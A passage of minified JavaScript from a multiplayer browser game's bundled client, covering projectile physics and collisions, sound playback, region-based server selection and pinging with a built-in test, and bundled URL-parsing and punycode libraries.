  4806. this.active = !0, this.indx = g, this.x = H, this.y = N, this.dir = h, this.skipMov = !0, this.speed = X, this.dmg = F, this.scale = z, this.range = Z, this.owner = O, G && (this.sentTo = {});
  4807. };
  4808. var q, P = [];
  4809. this.update = function (H) {
  4810. if (this.active) {
  4811. var N, X = this.speed * H;
  4812. if (this.skipMov ? this.skipMov = !1 : (this.x += X * Math.cos(this.dir), this.y += X * Math.sin(this.dir), this.range -= X, this.range <= 0 && (this.x += this.range * Math.cos(this.dir), this.y += this.range * Math.sin(this.dir), X = 1, this.range = 0, this.active = !1)), G) {
  4813. for (var F = 0; F < d.length; ++F) !this.sentTo[d[F].id] && d[F].canSee(this) && (this.sentTo[d[F].id] = 1, G.send(d[F].id, "18", U.fixTo(this.x, 1), U.fixTo(this.y, 1), U.fixTo(this.dir, 2), U.fixTo(this.range, 1), this.speed, this.indx, this.layer, this.sid));
  4814. for (P.length = 0, F = 0; F < d.length + J.length; ++F) !(q = d[F] || J[F - d.length]).alive || q == this.owner || this.owner.team && q.team == this.owner.team || U.lineInRect(q.x - q.scale, q.y - q.scale, q.x + q.scale, q.y + q.scale, this.x, this.y, this.x + X * Math.cos(this.dir), this.y + X * Math.sin(this.dir)) && P.push(q);
  4815. for (var Z = T.getGridArrays(this.x, this.y, this.scale), z = 0; z < Z.length; ++z) for (var O = 0; O < Z[z].length; ++O) N = (q = Z[z][O]).getScale(), q.active && this.ignoreObj != q.sid && this.layer <= q.layer && P.indexOf(q) < 0 && !q.ignoreCollision && U.lineInRect(q.x - N, q.y - N, q.x + N, q.y + N, this.x, this.y, this.x + X * Math.cos(this.dir), this.y + X * Math.sin(this.dir)) && P.push(q);
  4816. if (P.length > 0) {
  4817. var E = null, I = null, M = null;
  4818. for (F = 0; F < P.length; ++F) M = U.getDistance(this.x, this.y, P[F].x, P[F].y), (null == I || M < I) && (I = M, E = P[F]);
  4819. if (E.isPlayer || E.isAI) {
  4820. var K = 0.3 * (E.weightM || 1);
  4821. E.xVel += K * Math.cos(this.dir), E.yVel += K * Math.sin(this.dir), null != E.weaponIndex && L.weapons[E.weaponIndex].shield && U.getAngleDist(this.dir + Math.PI, E.dir) <= p.shieldAngle || E.changeHealth(-this.dmg, this.owner, this.owner);
  4822. } else for (E.projDmg && E.health && E.changeHealth(-this.dmg) && T.disableObj(E), F = 0; F < d.length; ++F) d[F].active && (E.sentTo[d[F].id] && (E.active ? d[F].canSee(E) && G.send(d[F].id, "8", U.fixTo(this.dir, 2), E.sid) : G.send(d[F].id, "12", E.sid)), E.active || E.owner != d[F] || d[F].changeItemCount(E.group.id, -1));
  4823. for (this.active = !1, F = 0; F < d.length; ++F) this.sentTo[d[F].id] && G.send(d[F].id, "19", this.sid, U.fixTo(I, 1));
  4824. }
  4825. }
  4826. }
  4827. };
  4828. };
  4829. }, function (y, V) {
  4830. y.exports = function (d, J, T, L, p, U, G, q, P) {
  4831. this.addProjectile = function (H, N, X, F, Z, z, O, E, I) {
  4832. for (var M, K = U.projectiles[z], R = 0; R < J.length; ++R) if (!J[R].active) {
  4833. M = J[R];
  4834. break;
  4835. }
  4836. return M || ((M = new d(T, L, p, U, G, q, P)).sid = J.length, J.push(M)), M.init(z, H, N, X, Z, K.dmg, F, K.scale, O), M.ignoreObj = E, M.layer = I || K.layer, M.src = K.src, M;
  4837. };
  4838. };
  4839. }, function (y, V) {
  4840. y.exports.obj = function (d, J) {
  4841. var T;
  4842. this.sounds = [], this.active = !0, this.play = function (c, L, s) {
  4843. L && this.active && ((T = this.sounds[c]) || (T = new Howl({src: ".././sound/" + c + ".mp3"}), this.sounds[c] = T), s && T.isPlaying || (T.isPlaying = !0, T.play(), T.volume((L || 1) * d.volumeMult), T.loop(s)));
  4844. }, this.toggleMute = function (c, L) {
  4845. (T = this.sounds[c]) && T.mute(L);
  4846. }, this.stop = function (c) {
  4847. (T = this.sounds[c]) && (T.stop(), T.isPlaying = !1);
  4848. };
  4849. };
  4850. }, function (y, V, d) {
  4851. var J = d(60), T = d(67);
  4852. function c(p, U, G, q, P) {
  4853. "localhost" == location.hostname && (window.location.hostname = "127.0.0.1"), this.debugLog = !1, this.baseUrl = p, this.lobbySize = G, this.devPort = U, this.lobbySpread = q, this.rawIPs = !!P, this.server = void 0, this.gameIndex = void 0, this.callback = void 0, this.errorCallback = void 0, this.processServers(vultr.servers);
  4854. }
  4855. c.prototype.regionInfo = {0: {name: "Local", latitude: 0, longitude: 0}, "vultr:1": {name: "New Jersey", latitude: 40.1393329, longitude: -75.8521818}, "vultr:2": {name: "Chicago", latitude: 41.8339037, longitude: -87.872238}, "vultr:3": {name: "Dallas", latitude: 32.8208751, longitude: -96.8714229}, "vultr:4": {name: "Seattle", latitude: 47.6149942, longitude: -122.4759879}, "vultr:5": {name: "Los Angeles", latitude: 34.0207504, longitude: -118.691914}, "vultr:6": {name: "Atlanta", latitude: 33.7676334, longitude: -84.5610332}, "vultr:7": {name: "Amsterdam", latitude: 52.3745287, longitude: 4.7581878}, "vultr:8": {name: "London", latitude: 51.5283063, longitude: -0.382486}, "vultr:9": {name: "Frankfurt", latitude: 50.1211273, longitude: 8.496137}, "vultr:12": {name: "Silicon Valley", latitude: 37.4024714, longitude: -122.3219752}, "vultr:19": {name: "Sydney", latitude: -33.8479715, longitude: 150.651084}, "vultr:24": {name: "Paris", latitude: 48.8588376, longitude: 2.2773454}, "vultr:25": {name: "Tokyo", latitude: 35.6732615, longitude: 139.569959}, "vultr:39": {name: "Miami", latitude: 25.7823071, longitude: -80.3012156}, "vultr:40": {name: "Singapore", latitude: 1.3147268, longitude: 103.7065876}}, c.prototype.start = function (p, U) {
  4856. this.callback = p, this.errorCallback = U;
  4857. var G = this.parseServerQuery();
  4858. G ? (this.log("Found server in query."), this.password = G[3], this.connect(G[0], G[1], G[2])) : (this.log("Pinging servers..."), this.pingServers());
  4859. }, c.prototype.parseServerQuery = function () {
  4860. var p = J.parse(location.href, !0), U = p.query.server;
  4861. if ("string" == typeof U) {
  4862. var G = U.split(":");
  4863. if (3 == G.length) {
  4864. var q = G[0], P = parseInt(G[1]), g = parseInt(G[2]);
  4865. return "0" == q || q.startsWith("vultr:") || (q = "vultr:" + q), [q, P, g, p.query.password];
  4866. }
  4867. this.errorCallback("Invalid number of server parameters in " + U);
  4868. }
  4869. }, c.prototype.findServer = function (p, U) {
  4870. var G = this.servers[p];
  4871. if (Array.isArray(G)) {
  4872. for (var q = 0; q < G.length; q++) {
  4873. var P = G[q];
  4874. if (P.index == U) return P;
  4875. }
  4876. console.warn("Could not find server in region " + p + " with index " + U + ".");
  4877. } else this.errorCallback("No server list for region " + p);
  4878. }, c.prototype.pingServers = function () {
  4879. var p = this, U = [];
  4880. for (var G in this.servers) if (this.servers.hasOwnProperty(G)) {
  4881. var q = this.servers[G], P = q[Math.floor(Math.random() * q.length)];
  4882. null != P ? function (g, H) {
  4883. var N = new XMLHttpRequest;
  4884. N.onreadystatechange = function (X) {
  4885. var F = X.target;
  4886. if (4 == F.readyState) if (200 == F.status) {
  4887. for (var Z = 0; Z < U.length; Z++) U[Z].abort();
  4888. p.log("Connecting to region", H.region);
  4889. var z = p.seekServer(H.region);
  4890. p.connect(z[0], z[1], z[2]);
  4891. } else console.warn("Error pinging " + H.ip + " in region " + G);
  4892. };
  4893. var h = "//" + p.serverAddress(H.ip, !0) + ":" + p.serverPort(H) + "/ping";
  4894. N.open("GET", h, !0), N.send(null), p.log("Pinging", h), U.push(N);
  4895. }(0, P) : console.log("No target server for region " + G);
  4896. }
  4897. }, c.prototype.seekServer = function (p, U, G) {
  4898. null == G && (G = "random"), null == U && (U = !1);
  4899. const q = ["random"];
  4900. var P = this.lobbySize, g = this.lobbySpread, H = this.servers[p].flatMap(function (O) {
  4901. var E = 0;
  4902. return O.games.map(function (I) {
  4903. var M = E++;
  4904. return {region: O.region, index: O.index * O.games.length + M, gameIndex: M, gameCount: O.games.length, playerCount: I.playerCount, isPrivate: I.isPrivate};
  4905. });
  4906. }).filter(function (O) {
  4907. return !O.isPrivate;
  4908. }).filter(function (O) {
  4909. return !U || 0 == O.playerCount && O.gameIndex >= O.gameCount / 2;
  4910. }).filter(function (O) {
  4911. return "random" == G || q[O.index % q.length].key == G;
  4912. }).sort(function (O, E) {
  4913. return E.playerCount - O.playerCount;
  4914. }).filter(function (O) {
  4915. return O.playerCount < P;
  4916. });
  4917. if (U && H.reverse(), 0 != H.length) {
  4918. var N = Math.min(g, H.length), X = Math.floor(Math.random() * N), F = H[X = Math.min(X, H.length - 1)], Z = F.region, z = (X = Math.floor(F.index / F.gameCount), F.index % F.gameCount);
  4919. return this.log("Found server."), [Z, X, z];
  4920. }
  4921. this.errorCallback("No open servers.");
  4922. }, c.prototype.connect = function (p, U, G) {
  4923. if (!this.connected) {
  4924. var q = this.findServer(p, U);
  4925. null != q ? (this.log("Connecting to server", q, "with game index", G), q.games[G].playerCount >= this.lobbySize ? this.errorCallback("Server is already full.") : (window.history.replaceState(document.title, document.title, this.generateHref(p, U, G, this.password)), this.server = q, this.gameIndex = G, this.log("Calling callback with address", this.serverAddress(q.ip), "on port", this.serverPort(q), "with game index", G), this.callback(this.serverAddress(q.ip), this.serverPort(q), G))) : this.errorCallback("Failed to find server for region " + p + " and index " + U);
  4926. }
  4927. }, c.prototype.switchServer = function (p, U, G, q) {
  4928. this.switchingServers = !0, window.location.href = this.generateHref(p, U, G, q);
  4929. }, c.prototype.generateHref = function (p, U, G, q) {
  4930. var P = "/?server=" + (p = this.stripRegion(p)) + ":" + U + ":" + G;
  4931. return q && (P += "&password=" + encodeURIComponent(q)), P;
  4932. }, c.prototype.serverAddress = function (p, U) {
  4933. return "127.0.0.1" == p || "7f000001" == p || "903d62ef5d1c2fecdcaeb5e7dd485eff" == p ? window.location.hostname : this.rawIPs ? U ? "ip_" + this.hashIP(p) + "." + this.baseUrl : p : "ip_" + p + "." + this.baseUrl;
  4934. }, c.prototype.serverPort = function (p) {
  4935. return 0 == p.region ? this.devPort : location.protocol.startsWith("https") ? 443 : 80;
  4936. }, c.prototype.processServers = function (p) {
  4937. for (var U = {}, G = 0; G < p.length; G++) {
  4938. var q = p[G], P = U[q.region];
  4939. null == P && (P = [], U[q.region] = P), P.push(q);
  4940. }
  4941. for (var g in U) U[g] = U[g].sort(function (H, N) {
  4942. return H.index - N.index;
  4943. });
  4944. this.servers = U;
  4945. }, c.prototype.ipToHex = function (p) {
  4946. return p.split(".").map(U => ("00" + parseInt(U).toString(16)).substr(-2)).join("").toLowerCase();
  4947. }, c.prototype.hashIP = function (p) {
  4948. return T(this.ipToHex(p));
  4949. }, c.prototype.log = function () {
  4950. return this.debugLog ? console.log.apply(void 0, arguments) : console.verbose ? console.verbose.apply(void 0, arguments) : void 0;
  4951. }, c.prototype.stripRegion = function (p) {
  4952. return p.startsWith("vultr:") ? p = p.slice(6) : p.startsWith("do:") && (p = p.slice(3)), p;
  4953. }, window.testVultrClient = function () {
  4954. var p = 1;
  4955. function U(q, P) {
  4956. (q = "" + q) == (P = "" + P) ? console.log("Assert " + p + " passed.") : console.warn("Assert " + p + " failed. Expected " + P + ", got " + q + "."), p++;
  4957. }
  4958. var G = new c("test.io", -1, 5, 1, !1);
  4959. G.errorCallback = function (q) {}, G.processServers(function (q) {
  4960. var P = [];
  4961. for (var g in q) for (var H = q[g], N = 0; N < H.length; N++) P.push({ip: g + ":" + N, scheme: "testing", region: g, index: N, games: H[N].map(h => ({playerCount: h, isPrivate: !1}))});
  4962. return P;
  4963. }({1: [[0, 0, 0, 0], [0, 0, 0, 0]], 2: [[5, 1, 0, 0], [0, 0, 0, 0]], 3: [[5, 0, 1, 5], [0, 0, 0, 0]], 4: [[5, 1, 1, 5], [1, 0, 0, 0]], 5: [[5, 1, 1, 5], [1, 0, 4, 0]], 6: [[5, 5, 5, 5], [2, 3, 1, 4]], 7: [[5, 5, 5, 5], [5, 5, 5, 5]]})), U(G.seekServer(1, !1), [1, 0, 0]), U(G.seekServer(1, !0), [1, 1, 3]), U(G.seekServer(2, !1), [2, 0, 1]), U(G.seekServer(2, !0), [2, 1, 3]), U(G.seekServer(3, !1), [3, 0, 2]), U(G.seekServer(3, !0), [3, 1, 3]), U(G.seekServer(4, !1), [4, 0, 1]), U(G.seekServer(4, !0), [4, 1, 3]), U(G.seekServer(5, !1), [5, 1, 2]), U(G.seekServer(5, !0), [5, 1, 3]), U(G.seekServer(6, !1), [6, 1, 3]), U(G.seekServer(6, !0), void 0), U(G.seekServer(7, !1), void 0), U(G.seekServer(7, !0), void 0), console.log("Tests passed.");
  4964. };
  4965. var L = function (p, U) {
  4966. return p.concat(U);
  4967. };
  4968. Array.prototype.flatMap = function (p) {
  4969. return function (U, G) {
  4970. return G.map(U).reduce(L, []);
  4971. }(p, this);
  4972. }, y.exports = c;
  4973. }, function (V, J, T) {
  4974. "use strict";
  4975. var L = T(61), U = T(63);
  4976. function G() {
  4977. this.protocol = null, this.slashes = null, this.auth = null, this.host = null, this.port = null, this.hostname = null, this.hash = null, this.search = null, this.query = null, this.pathname = null, this.path = null, this.href = null;
  4978. }
  4979. J.parse = w, J.resolve = function (R, S) {
  4980. return w(R, !1, !0).resolve(S);
  4981. }, J.resolveObject = function (R, S) {
  4982. return R ? w(R, !1, !0).resolveObject(S) : S;
  4983. }, J.format = function (R) {
  4984. return U.isString(R) && (R = w(R)), R instanceof G ? R.format() : G.prototype.format.call(R);
  4985. }, J.Url = G;
  4986. var q = /^([a-z0-9.+-]+:)/i, P = /:[0-9]*$/, H = /^(\/\/?(?!\/)[^\?\s]*)(\?[^\s]*)?$/, N = ["{", "}", "|", "\\", "^", "`"].concat(["<", ">", '"', "`", " ", "\r", "\n", " "]), X = ["'"].concat(N), F = ["%", "/", "?", ";", "#"].concat(X), Z = ["/", "?", "#"], z = /^[+a-z0-9A-Z_-]{0,63}$/, O = /^([+a-z0-9A-Z_-]{0,63})(.*)$/, E = {javascript: !0, "javascript:": !0}, I = {javascript: !0, "javascript:": !0}, M = {http: !0, https: !0, ftp: !0, gopher: !0, file: !0, "http:": !0, "https:": !0, "ftp:": !0, "gopher:": !0, "file:": !0}, K = T(64);
  4987. function w(R, S, A) {
  4988. if (R && U.isObject(R) && R instanceof G) return R;
  4989. var Y = new G;
  4990. return Y.parse(R, S, A), Y;
  4991. }
  4992. G.prototype.parse = function (Q, y0, y1) {
  4993. if (!U.isString(Q)) throw new TypeError("Parameter 'url' must be a string, not " + typeof Q);
  4994. var y2 = Q.indexOf("?"), y3 = -1 !== y2 && y2 < Q.indexOf("#") ? "?" : "#", y4 = Q.split(y3);
  4995. y4[0] = y4[0].replace(/\\/g, "/");
  4996. var y5 = Q = y4.join(y3);
  4997. if (y5 = y5.trim(), !y1 && 1 === Q.split("#").length) {
  4998. var y6 = H.exec(y5);
  4999. if (y6) return this.path = y5, this.href = y5, this.pathname = y6[1], y6[2] ? (this.search = y6[2], this.query = y0 ? K.parse(this.search.substr(1)) : this.search.substr(1)) : y0 && (this.search = "", this.query = {}), this;
  5000. }
  5001. var y7 = q.exec(y5);
  5002. if (y7) {
  5003. var y8 = (y7 = y7[0]).toLowerCase();
  5004. this.protocol = y8, y5 = y5.substr(y7.length);
  5005. }
  5006. if (y1 || y7 || y5.match(/^\/\/[^@\/]+@[^@\/]+/)) {
  5007. var y9 = "//" === y5.substr(0, 2);
  5008. !y9 || y7 && I[y7] || (y5 = y5.substr(2), this.slashes = !0);
  5009. }
  5010. if (!I[y7] && (y9 || y7 && !M[y7])) {
  5011. for (var yy, yV, yd = -1, yJ = 0; yJ < Z.length; yJ++) -1 !== (yT = y5.indexOf(Z[yJ])) && (-1 === yd || yT < yd) && (yd = yT);
  5012. for (-1 !== (yV = -1 === yd ? y5.lastIndexOf("@") : y5.lastIndexOf("@", yd)) && (yy = y5.slice(0, yV), y5 = y5.slice(yV + 1), this.auth = decodeURIComponent(yy)), yd = -1, yJ = 0; yJ < F.length; yJ++) {
  5013. var yT;
  5014. -1 !== (yT = y5.indexOf(F[yJ])) && (-1 === yd || yT < yd) && (yd = yT);
  5015. }
  5016. -1 === yd && (yd = y5.length), this.host = y5.slice(0, yd), y5 = y5.slice(yd), this.parseHost(), this.hostname = this.hostname || "";
  5017. var yc = "[" === this.hostname[0] && "]" === this.hostname[this.hostname.length - 1];
  5018. if (!yc) for (var yL = this.hostname.split(/\./), ys = (yJ = 0, yL.length); yJ < ys; yJ++) {
  5019. var yp = yL[yJ];
  5020. if (yp && !yp.match(z)) {
  5021. for (var yU = "", yn = 0, yG = yp.length; yn < yG; yn++) yp.charCodeAt(yn) > 127 ? yU += "x" : yU += yp[yn];
  5022. if (!yU.match(z)) {
  5023. var yq = yL.slice(0, yJ), yP = yL.slice(yJ + 1), yg = yp.match(O);
  5024. yg && (yq.push(yg[1]), yP.unshift(yg[2])), yP.length && (y5 = "/" + yP.join(".") + y5), this.hostname = yq.join(".");
  5025. break;
  5026. }
  5027. }
  5028. }
  5029. this.hostname.length > 255 ? this.hostname = "" : this.hostname = this.hostname.toLowerCase(), yc || (this.hostname = L.toASCII(this.hostname));
  5030. var yH = this.port ? ":" + this.port : "", yN = this.hostname || "";
  5031. this.host = yN + yH, this.href += this.host, yc && (this.hostname = this.hostname.substr(1, this.hostname.length - 2), "/" !== y5[0] && (y5 = "/" + y5));
  5032. }
  5033. if (!E[y8]) for (yJ = 0, ys = X.length; yJ < ys; yJ++) {
  5034. var yh = X[yJ];
  5035. if (-1 !== y5.indexOf(yh)) {
  5036. var yX = encodeURIComponent(yh);
  5037. yX === yh && (yX = escape(yh)), y5 = y5.split(yh).join(yX);
  5038. }
  5039. }
  5040. var yF = y5.indexOf("#");
  5041. -1 !== yF && (this.hash = y5.substr(yF), y5 = y5.slice(0, yF));
  5042. var yZ = y5.indexOf("?");
  5043. if (-1 !== yZ ? (this.search = y5.substr(yZ), this.query = y5.substr(yZ + 1), y0 && (this.query = K.parse(this.query)), y5 = y5.slice(0, yZ)) : y0 && (this.search = "", this.query = {}), y5 && (this.pathname = y5), M[y8] && this.hostname && !this.pathname && (this.pathname = "/"), this.pathname || this.search) {
  5044. yH = this.pathname || "";
  5045. var yz = this.search || "";
  5046. this.path = yH + yz;
  5047. }
  5048. return this.href = this.format(), this;
  5049. }, G.prototype.format = function () {
  5050. var R = this.auth || "";
  5051. R && (R = (R = encodeURIComponent(R)).replace(/%3A/i, ":"), R += "@");
  5052. var S = this.protocol || "", A = this.pathname || "", Y = this.hash || "", b = !1, x = "";
  5053. this.host ? b = R + this.host : this.hostname && (b = R + (-1 === this.hostname.indexOf(":") ? this.hostname : "[" + this.hostname + "]"), this.port && (b += ":" + this.port)), this.query && U.isObject(this.query) && Object.keys(this.query).length && (x = K.stringify(this.query));
  5054. var Q = this.search || x && "?" + x || "";
  5055. return S && ":" !== S.substr(-1) && (S += ":"), this.slashes || (!S || M[S]) && !1 !== b ? (b = "//" + (b || ""), A && "/" !== A.charAt(0) && (A = "/" + A)) : b || (b = ""), Y && "#" !== Y.charAt(0) && (Y = "#" + Y), Q && "?" !== Q.charAt(0) && (Q = "?" + Q), S + b + (A = A.replace(/[?#]/g, function (D) {
  5056. return encodeURIComponent(D);
  5057. })) + (Q = Q.replace("#", "%23")) + Y;
  5058. }, G.prototype.resolve = function (R) {
  5059. return this.resolveObject(w(R, !1, !0)).format();
  5060. }, G.prototype.resolveObject = function (R) {
  5061. if (U.isString(R)) {
  5062. var Y = new G;
  5063. Y.parse(R, !1, !0), R = Y;
  5064. }
  5065. for (var Q = new G, D = Object.keys(this), W = 0; W < D.length; W++) {
  5066. var j = D[W];
  5067. Q[j] = this[j];
  5068. }
  5069. if (Q.hash = R.hash, "" === R.href) return Q.href = Q.format(), Q;
  5070. if (R.slashes && !R.protocol) {
  5071. for (var C = Object.keys(R), y0 = 0; y0 < C.length; y0++) {
  5072. var y1 = C[y0];
  5073. "protocol" !== y1 && (Q[y1] = R[y1]);
  5074. }
  5075. return M[Q.protocol] && Q.hostname && !Q.pathname && (Q.path = Q.pathname = "/"), Q.href = Q.format(), Q;
  5076. }
  5077. if (R.protocol && R.protocol !== Q.protocol) {
  5078. if (!M[R.protocol]) {
  5079. for (var y2 = Object.keys(R), y3 = 0; y3 < y2.length; y3++) {
  5080. var y4 = y2[y3];
  5081. Q[y4] = R[y4];
  5082. }
  5083. return Q.href = Q.format(), Q;
  5084. }
  5085. if (Q.protocol = R.protocol, R.host || I[R.protocol]) Q.pathname = R.pathname; else {
  5086. for (var y5 = (R.pathname || "").split("/"); y5.length && !(R.host = y5.shift());) ;
  5087. R.host || (R.host = ""), R.hostname || (R.hostname = ""), "" !== y5[0] && y5.unshift(""), y5.length < 2 && y5.unshift(""), Q.pathname = y5.join("/");
  5088. }
  5089. if (Q.search = R.search, Q.query = R.query, Q.host = R.host || "", Q.auth = R.auth, Q.hostname = R.hostname || R.host, Q.port = R.port, Q.pathname || Q.search) {
  5090. var y6 = Q.pathname || "", y7 = Q.search || "";
  5091. Q.path = y6 + y7;
  5092. }
  5093. return Q.slashes = Q.slashes || R.slashes, Q.href = Q.format(), Q;
  5094. }
  5095. var y8 = Q.pathname && "/" === Q.pathname.charAt(0), y9 = R.host || R.pathname && "/" === R.pathname.charAt(0), yy = y9 || y8 || Q.host && R.pathname, yV = yy, yd = Q.pathname && Q.pathname.split("/") || [], yJ = (y5 = R.pathname && R.pathname.split("/") || [], Q.protocol && !M[Q.protocol]);
  5096. if (yJ && (Q.hostname = "", Q.port = null, Q.host && ("" === yd[0] ? yd[0] = Q.host : yd.unshift(Q.host)), Q.host = "", R.protocol && (R.hostname = null, R.port = null, R.host && ("" === y5[0] ? y5[0] = R.host : y5.unshift(R.host)), R.host = null), yy = yy && ("" === y5[0] || "" === yd[0])), y9) Q.host = R.host || "" === R.host ? R.host : Q.host, Q.hostname = R.hostname || "" === R.hostname ? R.hostname : Q.hostname, Q.search = R.search, Q.query = R.query, yd = y5; else if (y5.length) yd || (yd = []), yd.pop(), yd = yd.concat(y5), Q.search = R.search, Q.query = R.query; else if (!U.isNullOrUndefined(R.search)) return yJ && (Q.hostname = Q.host = yd.shift(), (yp = !!(Q.host && Q.host.indexOf("@") > 0) && Q.host.split("@")) && (Q.auth = yp.shift(), Q.host = Q.hostname = yp.shift())), Q.search = R.search, Q.query = R.query, U.isNull(Q.pathname) && U.isNull(Q.search) || (Q.path = (Q.pathname ? Q.pathname : "") + (Q.search ? Q.search : "")), Q.href = Q.format(), Q;
  5097. if (!yd.length) return Q.pathname = null, Q.search ? Q.path = "/" + Q.search : Q.path = null, Q.href = Q.format(), Q;
  5098. for (var yT = yd.slice(-1)[0], yc = (Q.host || R.host || yd.length > 1) && ("." === yT || ".." === yT) || "" === yT, yL = 0, ys = yd.length; ys >= 0; ys--) "." === (yT = yd[ys]) ? yd.splice(ys, 1) : ".." === yT ? (yd.splice(ys, 1), yL++) : yL && (yd.splice(ys, 1), yL--);
  5099. if (!yy && !yV) for (; yL--; yL) yd.unshift("..");
  5100. !yy || "" === yd[0] || yd[0] && "/" === yd[0].charAt(0) || yd.unshift(""), yc && "/" !== yd.join("/").substr(-1) && yd.push("");
  5101. var yp, yU = "" === yd[0] || yd[0] && "/" === yd[0].charAt(0);
  5102. return yJ && (Q.hostname = Q.host = yU ? "" : yd.length ? yd.shift() : "", (yp = !!(Q.host && Q.host.indexOf("@") > 0) && Q.host.split("@")) && (Q.auth = yp.shift(), Q.host = Q.hostname = yp.shift())), (yy = yy || Q.host && yd.length) && !yU && yd.unshift(""), yd.length ? Q.pathname = yd.join("/") : (Q.pathname = null, Q.path = null), U.isNull(Q.pathname) && U.isNull(Q.search) || (Q.path = (Q.pathname ? Q.pathname : "") + (Q.search ? Q.search : "")), Q.auth = R.auth || Q.auth, Q.slashes = Q.slashes || R.slashes, Q.href = Q.format(), Q;
  5103. }, G.prototype.parseHost = function () {
  5104. var R = this.host, S = P.exec(R);
  5105. S && (":" !== (S = S[0]) && (this.port = S.substr(1)), R = R.substr(0, R.length - S.length)), R && (this.hostname = R);
  5106. };
  5107. }, function (y, V, d) {
  5108. (function (J, T) {
  5109. var c;
  5110. !function (L) {
  5111. V && V.nodeType, J && J.nodeType;
  5112. var U = "object" == typeof T && T;
  5113. U.global !== U && U.window !== U && U.self;
  5114. var G, q = 2147483647, P = 36, H = /^xn--/, N = /[^\x20-\x7E]/, X = /[\x2E\u3002\uFF0E\uFF61]/g, F = {overflow: "Overflow: input needs wider integers to process", "not-basic": "Illegal input >= 0x80 (not a basic code point)", "invalid-input": "Invalid input"}, Z = Math.floor, z = String.fromCharCode;
  5115. function O(B) {
  5116. throw new RangeError(F[B]);
  5117. }
  5118. function E(B, j) {
  5119. for (var C = B.length, y0 = []; C--;) y0[C] = j(B[C]);
  5120. return y0;
  5121. }
  5122. function M(B, j) {
  5123. var C = B.split("@"), y0 = "";
  5124. return C.length > 1 && (y0 = C[0] + "@", B = C[1]), y0 + E((B = B.replace(X, ".")).split("."), j).join(".");
  5125. }
  5126. function K(B) {
  5127. for (var j, C, y0 = [], y1 = 0, y2 = B.length; y1 < y2;) (j = B.charCodeAt(y1++)) >= 55296 && j <= 56319 && y1 < y2 ? 56320 == (64512 & (C = B.charCodeAt(y1++))) ? y0.push(((1023 & j) << 10) + (1023 & C) + 65536) : (y0.push(j), y1--) : y0.push(j);
  5128. return y0;
  5129. }
  5130. function R(B) {
  5131. return E(B, function (j) {
  5132. var C = "";
  5133. return j > 65535 && (C += z((j -= 65536) >>> 10 & 1023 | 55296), j = 56320 | 1023 & j), C + z(j);
  5134. }).join("");
  5135. }
  5136. function A(B) {
  5137. return B - 48 < 10 ? B - 22 : B - 65 < 26 ? B - 65 : B - 97 < 26 ? B - 97 : P;
  5138. }
  5139. function Y(B, j) {
  5140. return B + 22 + 75 * (B < 26) - ((0 != j) << 5);
  5141. }
  5142. function Q(B, j, C) {
  5143. var y0 = 0;
  5144. for (B = C ? Z(B / 700) : B >> 1, B += Z(B / j); B > 455; y0 += P) B = Z(B / 35);
  5145. return Z(y0 + 36 * B / (B + 38));
  5146. }
  5147. function D(B) {
  5148. var j, C, y0, y1, y2, y3, y4, y5, y6, y7, y8 = [], y9 = B.length, yy = 0, yV = 128, yd = 72;
  5149. for ((C = B.lastIndexOf("-")) < 0 && (C = 0), y0 = 0; y0 < C; ++y0) B.charCodeAt(y0) >= 128 && O("not-basic"), y8.push(B.charCodeAt(y0));
  5150. for (y1 = C > 0 ? C + 1 : 0; y1 < y9;) {
  5151. for (y2 = yy, y3 = 1, y4 = P; y1 >= y9 && O("invalid-input"), ((y5 = A(B.charCodeAt(y1++))) >= P || y5 > Z((q - yy) / y3)) && O("overflow"), yy += y5 * y3, !(y5 < (y6 = y4 <= yd ? 1 : y4 >= yd + 26 ? 26 : y4 - yd)); y4 += P) y3 > Z(q / (y7 = P - y6)) && O("overflow"), y3 *= y7;
  5152. yd = Q(yy - y2, j = y8.length + 1, 0 == y2), Z(yy / j) > q - yV && O("overflow"), yV += Z(yy / j), yy %= j, y8.splice(yy++, 0, yV);
  5153. }
  5154. return R(y8);
  5155. }
  5156. function W(B) {
  5157. var j, C, y0, y1, y2, y3, y4, y5, y6, y7, y8, y9, yy, yV, yd, yJ = [];
  5158. for (y9 = (B = K(B)).length, j = 128, C = 0, y2 = 72, y3 = 0; y3 < y9; ++y3) (y8 = B[y3]) < 128 && yJ.push(z(y8));
  5159. for (y0 = y1 = yJ.length, y1 && yJ.push("-"); y0 < y9;) {
  5160. for (y4 = q, y3 = 0; y3 < y9; ++y3) (y8 = B[y3]) >= j && y8 < y4 && (y4 = y8);
  5161. for (y4 - j > Z((q - C) / (yy = y0 + 1)) && O("overflow"), C += (y4 - j) * yy, j = y4, y3 = 0; y3 < y9; ++y3) if ((y8 = B[y3]) < j && ++C > q && O("overflow"), y8 == j) {
  5162. for (y5 = C, y6 = P; !(y5 < (y7 = y6 <= y2 ? 1 : y6 >= y2 + 26 ? 26 : y6 - y2)); y6 += P) yd = y5 - y7, yV = P - y7, yJ.push(z(Y(y7 + yd % yV, 0))), y5 = Z(yd / yV);
  5163. yJ.push(z(Y(y5, 0))), y2 = Q(C, yy, y0 == y1), C = 0, ++y0;
  5164. }
  5165. ++C, ++j;
  5166. }
  5167. return yJ.join("");
  5168. }
  5169. G = {version: "1.4.1", ucs2: {decode: K, encode: R}, decode: D, encode: W, toASCII: function (B) {
  5170. return M(B, function (j) {
  5171. return N.test(j) ? "xn--" + W(j) : j;
  5172. });
  5173. }, toUnicode: function (B) {
  5174. return M(B, function (j) {
  5175. return H.test(j) ? D(j.slice(4).toLowerCase()) : j;
  5176. });
  5177. }}, void 0 === (c = function () {
  5178. return G;
  5179. }.call(V, d, V, J)) || (J.exports = c);
  5180. }();
  5181. }.call(this, d(62)(y), d(12)));
  5182. }, function (y, V) {
  5183. y.exports = function (d) {
  5184. return d.webpackPolyfill || (d.deprecate = function () {}, d.paths = [], d.children || (d.children = []), Object.defineProperty(d, "loaded", {enumerable: !0, get: function () {
  5185. return d.l;
  5186. }}), Object.defineProperty(d, "id", {enumerable: !0, get: function () {
  5187. return d.i;
  5188. }}), d.webpackPolyfill = 1), d;
  5189. };
  5190. }, function (y, V, d) {
  5191. "use strict";
  5192. y.exports = {isString: function (J) {
  5193. return "string" == typeof J;
  5194. }, isObject: function (J) {
  5195. return "object" == typeof J && null !== J;
  5196. }, isNull: function (J) {
  5197. return null === J;
  5198. }, isNullOrUndefined: function (J) {
  5199. return null == J;
  5200. }};
  5201. }, function (y, V, d) {
  5202. "use strict";
  5203. V.decode = V.parse = d(65), V.encode = V.stringify = d(66);
  5204. }, function (y, V, d) {
  5205. "use strict";
  5206. function J(c, L) {
